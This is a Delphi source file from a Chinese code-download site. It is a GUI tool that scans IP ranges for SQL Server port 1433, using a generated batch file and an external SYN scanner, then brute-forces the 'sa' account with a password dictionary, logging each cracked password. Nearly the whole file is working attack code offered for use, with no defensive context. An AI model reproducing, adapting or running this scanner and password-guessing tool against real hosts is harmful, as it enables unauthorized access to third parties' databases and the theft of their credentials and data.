⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 按字典中密码
💻 PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Spin, Buttons,StrUtils,  ShellAPI, DB, ADODB,ActiveX;

type
  TForm1 = class(TForm)
    edtIP1: TEdit;
    edtIP2: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Button1: TButton;
    L_IP: TListBox;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    BitBtn1: TBitBtn;
    OpenDialog1: TOpenDialog;
    M_BAT: TMemo;
    Label3: TLabel;
    M_DIC: TMemo;
    M_IPS: TMemo;
    labCurIP: TLabel;
    LabCurMM: TLabel;
    M_RESULT: TMemo;
    Label4: TLabel;
    Button6: TButton;
    Button7: TButton;
    SpinEdit1: TSpinEdit;
    Label5: TLabel;
    Label6: TLabel;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button7Click(Sender: TObject);
  private
    { Private declarations }


   procedure Appendfiledata(LogFileName, LogTime, LogInfo: string);

  public
    curIP:String;
      procedure AddLog(info: string);
      procedure AddLogRight(info: string);

    { Public declarations }

  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
procedure TFORM1.AddLogRight(info: string);
begin
  M_Result.Lines.Add(FormatDateTime('YYYY-MM-DD HH:NN:SS', Now) + '--->' + info);
  Appendfiledata('Log\RIGHT' + FormatDateTime('yyyymmdd', Now) + '.Log', FormatDateTime('YYYY-MM-DD HH:NN:SS', Now), info);
end;

procedure TFORM1.AddLog(info: string);
begin
  mEMO1.Lines.Add(FormatDateTime('YYYY-MM-DD HH:NN:SS', Now) + '--->' + info);
  Appendfiledata('Log\' + FormatDateTime('yyyymmdd', Now) + '.Log', FormatDateTime('YYYY-MM-DD HH:NN:SS', Now), info);
end;


procedure TFORM1.Appendfiledata(LogFileName, LogTime, LogInfo: string);
var
  filevar: textfile;
  buf: string;
  L: TStrings;
begin
  L := TStringList.Create;
  L.Text := LogTime + '    ' + LogInfo;

  if not DirectoryExists('Log\') then
    if not CreateDir('Log\') then
      raise Exception.Create('无法建立日志文件夹');

  if not FileExists(LogFileName) then
    L.SaveToFile(LogFileName)
  else
  begin
    AssignFile(filevar, LogFileName);
    Append(filevar);
    buf := LogTime + '    ' + LogInfo;
    Writeln(filevar, buf);
    CloseFile(filevar);
  end;
  L.Free;
end;



function testConn(p:pointer):Longint;stdcall;
var
  conn:TAdoConnection;
  curMM:String;
  I:Integer;
  curTime:TDatetime;
  curIP:string;
  curMMS:TStrings;
  rightMM:String ;
begin
  CoInitialize( nil );//
  Result :=0;
  rightMM:='';
  curIP:='';
  curIP :=form1.curIP;
  curMMS :=form1.M_DIC.Lines;
  conn :=TAdoconnection.Create(nil);
  try
    //form1.Memo1.Lines.Add('IP:'+curIP+'  线程开始运行');
    FORM1.AddLog('IP:'+curIP+'  线程开始运行');
    form1.Memo1.Update;
    conn.LoginPrompt :=False;
    conn.ConnectionTimeout :=form1.SpinEdit1.value;
    for I:=0 to curMMS.Count-1 do
    begin
      curTime :=now();
      curMM :=curMMS[I];
      //form1.LabCurMM.Caption :='当前密码:'+curMM;
      //form1.LabCurMM.Update;
      conn.ConnectionString :='Provider=SQLOLEDB.1;Password='+curMM+';Persist Security Info=True;User ID=sa;Initial Catalog=master;Data Source='+curIP;
      try
        conn.Open;
        rightMM :=curMM;
        //form1.M_RESULT.Lines.Add('IP:'+curIP+'    正确密码:'+curMM);
            FORM1.AddLogRight('IP:'+curIP+'    正确密码:'+curMM);
        application.ProcessMessages;
        result :=1;
        break;
      except
      end;
      if  (now()-curtime) * 1000000>50 then   //原因可能是SQLSERVER关机了。
      begin
        rightMM :='';
        Result :=0;
        break;
      end;
      application.ProcessMessages;
    end;
  finally
    conn.Free;
    FORM1.AddLog('IP:'+curIP+'  线程结束!');

    //form1.Memo1.Lines.Add('IP:'+curIP+'  线程结束!');
  end;
end;

function WinExecAndWait32(FileName: string; Visibility: integer): Cardinal;
var
  zAppName: array[0..512] of char;
  zCurDir: array[0..255] of char;
  WorkDir: string;
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
begin
  StrPCopy(zAppName, FileName);
  GetDir(0, WorkDir);
  StrPCopy(zCurDir, WorkDir);
  FillChar(StartupInfo, Sizeof(StartupInfo), #0);
  StartupInfo.cb := Sizeof(StartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow := Visibility;
  if not CreateProcess(nil, zAppName, nil, nil, true,
                       CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,
                       nil, nil, StartupInfo, ProcessInfo) then
    Result := INFINITE
  else begin
    WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    GetExitCodeProcess(ProcessInfo.hProcess, Result);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
  end;
end;

{
其中 参数   Visibility 取值如下:

行号 参数 含义
1 SW_HIDE                        隐藏这个窗体,并激活其他窗体。
2 SW_MAXIMIZE                最大化指定的窗体。
3 SW_MINIMIZE                 最小化指定的窗体,并按顺序激活最上层的窗体。
4 SW_RESTORE               激活并显示窗体。如果窗体为最小化或者最大化,窗体恢复到原始大
                                          小和置。应用程序当恢复一个最小化的窗体时将指定标记。
5 SW_SHOW                      以当前的大小和位置激活并显示窗体。
6 SW_SHOWDEFAULT 
7 SW_SHOWMAXIMIZED    激活并最大化显示窗体。
8 SW_SHOWMINIMIZED     激活并最小化现实窗体。
9 SW_SHOWMINNOACTIVE    最小化窗体,保持其激活状态。
10 SW_SHOWNA                     以当前状态显示窗体,保持其激活状态。
11 SW_SHOWNOACTIVATE   以当前的大小和位置显示窗体,并保持其激活状态。
12 SW_SHOWNORMAL 激活并显示一个窗体。如果窗体为最大化或者最小化,窗体恢复到原始的大小和位置。当窗体第一次显示的时候,应用程序记录标记。


}


procedure TForm1.Button1Click(Sender: TObject);
var
  IPD:String;
begin
  IPD := edtip1.Text +' '+edtip2.Text;
  if L_IP.Items.IndexOf(IPD)<0 then
    L_IP.Items.Add(IPD);
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    L_IP.Items.LoadFromFile(OpenDialog1.FileName);
    Button6Click(nil);
  end;
end;

procedure TForm1.Button6Click(Sender: TObject);
var
  I:Integer;
  tmpStr:String;
  sList:TStrings;
begin
  sList:=TStringList.Create;
  for I:=0 to L_IP.Items.Count-1 do
  begin
    tmpStr :=trim(L_IP.Items[I]);
    sList.Text := AnsiReplaceStr( tmpStr,' ',#13#10);
    if sList.Count>1 then
      tmpStr :=trim(sList[0])+' '+trim(sList[1]);
    L_IP.Items[I] :=tmpStr;
  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
var
 curIP,curMM,rightMM:String;
 I:Integer;
  CThread:Thandle;//声明了一个句柄
  Tid:DWord;
begin
  ChDir(ExtractFilePath(ParamStr(0)));
  DeleteFile('ALLip.txt');
  DeleteFile('run.bat');
  DeleteFile('s1.txt');
  DeleteFile('s2.txt');
  DeleteFile('Result.txt');
  DeleteFile('ips.txt');
  //生成RUN。BAT
  M_BAT.Lines.Clear;
  M_BAT.Lines.Add('for /f "eol= tokens=1,2 delims= " %%i in (ALLip.txt) do s syn %%i %%j 1433 /save');
  M_BAT.Lines.Add('for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt');
  M_BAT.Lines.Add('for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt');
  M_BAT.Lines.Add('for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>ips.txt');
  M_BAT.Lines.Add('del s1.txt');
  M_BAT.Lines.Add('del s2.txt');
  M_BAT.Lines.Add('del Result.txt');
  M_BAT.Lines.SaveToFile('run.bat');
  //生成 ALLip.txt
  M_BAT.Lines.Clear;
  M_BAT.Lines.Add(L_IP.Items[0]);
  M_BAT.Lines.SaveToFile('ALLip.txt');
  if application.MessageBox('确定开始扫描吗?','提示',MB_YESNO)=IDYES THEN
    WinExecAndWait32('run.bat',SW_SHOW);
  M_IPS.Lines.LoadFromFile('ips.txt');
  showmessage('扫描完成,开始试密码!');
  M_RESULT.Lines.Clear;
  for I:=0 to M_IPS.Lines.Count-1 do
  begin
    curIP :=M_IPS.Lines[I];
    LabCurIP.Caption :='当前IP:'+curIP;
    labcurIp.Update;
    rightMM :='';
    self.curIP :=curIP;
    sleep(20);
    Cthread:=CreateThread(nil,0,@testConn,nil,0,Tid); //创建一个线程,同时调用线程函数
   // if testConn(curIP,M_DIC.Lines,rightMM) then
      // M_RESULT.Lines.Add( 'IP:'+M_IPS.Lines[I]+'   正确SA密码:'+rightMM);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  M_Dic.Lines.LoadFromFile('sql_pass.dic');
end;

procedure TForm1.Button7Click(Sender: TObject);
var I:Integer;
 curIP,rightMM:String;
  CThread:Thandle;//声明了一个句柄
  Tid:DWord; 
begin
  M_RESULT.Lines.Clear;
  for I:=0 to M_IPS.Lines.Count-1 do
  begin
    curIP :=M_IPS.Lines[I];
    LabCurIP.Caption :='当前IP:'+curIP;
    labcurIp.Update;
    rightMM :='';
    self.curIP :=curIP;
    sleep(20);
    Cthread:=CreateThread(nil,0,@testConn,nil,0,Tid); //创建一个线程,同时调用线程函数
   // if testConn(curIP,M_DIC.Lines,rightMM) then
      // M_RESULT.Lines.Add( 'IP:'+M_IPS.Lines[I]+'   正确SA密码:'+rightMM);
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -